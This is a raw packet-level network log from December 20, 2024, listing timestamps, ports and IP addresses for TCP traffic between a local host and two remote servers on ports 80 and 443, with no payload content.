Dec 20, 2024 04:12:35.841471910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.841805935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.842363119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.842488050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.842564106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.843383074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.843436003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.843462944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.844611883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.943269968 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:35.943375111 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:35.982057095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.982146025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.982172012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.982217073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.982542992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.982592106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.982649088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.982708931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.983551025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.983597994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.983923912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.983977079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.984038115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.984083891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.984966993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.985016108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.985080004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.985136032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.986006021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.986068010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.986109018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.986169100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.987044096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.987093925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.987112045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.987162113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.988059998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.988106966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.988110065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.988159895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.989097118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.989147902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.989211082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.989259958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.989556074 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:35.989588976 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:35.989840984 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:35.990155935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.990277052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.990386009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.990386009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.991170883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.991288900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.991367102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.992202044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.992274046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.992311001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.992360115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.993227005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.993285894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.993335009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.993387938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.994266033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.994326115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.994364023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.994412899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.995285988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.995445013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.995508909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.996387005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.996437073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.996757984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.996809959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.997358084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.997428894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.997463942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.997510910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.998415947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.998522997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.998574018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.999443054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.999505043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.999540091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.999591112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.000458002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.000508070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.000580072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.000627041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.001471996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.001534939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.001580000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.001652002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.002502918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.002624989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.002686977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.003534079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.003653049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.003703117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.004565001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.004697084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.004746914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.005619049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.005671978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.005734921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.005786896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.006645918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.006778002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.006835938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.007700920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.007760048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.007797956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.007852077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.008719921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.008771896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.008810997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.008858919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.009725094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.009774923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.009831905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.009885073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.010785103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.010910988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.010962009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.011809111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.011857033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.011950016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.012022018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.012569904 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:36.012829065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.012975931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.013032913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.013864040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.013922930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.013951063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.013999939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.014916897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.014971018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.015001059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.015053988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.015923023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.015975952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.016047955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.016104937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.016844988 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:36.016885042 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:36.016961098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.016963005 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:36.016978025 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:36.017034054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.017044067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.017095089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.017998934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.018106937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.018157959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.019026041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.019078970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.019567013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.019618988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.020070076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.020128012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.020163059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.020212889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.021095991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.021123886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.021146059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.021176100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.022139072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.022279978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.022329092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.022329092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.023137093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.023189068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.023287058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.023350000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.024152040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.024204016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.024270058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.024319887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.025223017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.025273085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.025332928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.025382996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.026240110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.026350975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.026415110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.027277946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.027343035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.027379036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.027436018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.028305054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.028361082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.028405905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.028455973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.029345036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.029403925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.029457092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.029515982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.030352116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.030410051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.030447960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.030508041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.031424999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.031588078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.031637907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.032423019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.032475948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.032478094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.032552004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.033457041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.033504963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.033586979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.033655882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.034481049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.034589052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.034638882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.035531044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.035588980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.035604954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.035650969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.174290895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.174381971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.174431086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.174480915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.174887896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.174936056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.175107956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.175156116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.175858021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.175915003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.175944090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.175991058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.176908970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.176959991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.177160025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.177222967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.177915096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.178023100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.178071022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.179019928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.179073095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.179074049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.179125071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.179969072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.180073023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.180100918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.180134058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.181090117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.181127071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.181138992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.181266069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.182058096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.182109118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.182199955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.182250977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.183058977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.183123112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.183157921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.183207035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.184094906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.184159994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.184206009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.184272051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.185120106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.185245037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.185298920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.186192989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.186328888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.186381102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.187187910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.187242985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.187309027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.187370062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.188232899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.188286066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.188322067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.188369036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.189269066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.189323902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.189403057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.189455986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.190298080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.190402985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.190454006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.191324949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.191376925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.191443920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.191488028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.192387104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.192529917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.192542076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.192830086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.193382978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.193428040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.193489075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.193530083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.194427013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.194634914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.194669962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.194789886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.195445061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.195544958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.195600033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.196475029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.196557045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.196585894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.196624041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.197521925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.197570086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.197612047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.197654963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.198556900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.198596001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.198627949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.198673964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.199563026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.199601889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.199662924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.199706078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.200598001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.200656891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.200700045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.200743914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.201662064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.201760054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.201805115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.202678919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.202739000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.202778101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.202831030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.203691959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.203843117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.203896999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.204720020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.204773903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.204847097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.204890013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.205751896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.205853939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.205859900 CET	49838	80	192.168.2.4	31.41.244.11
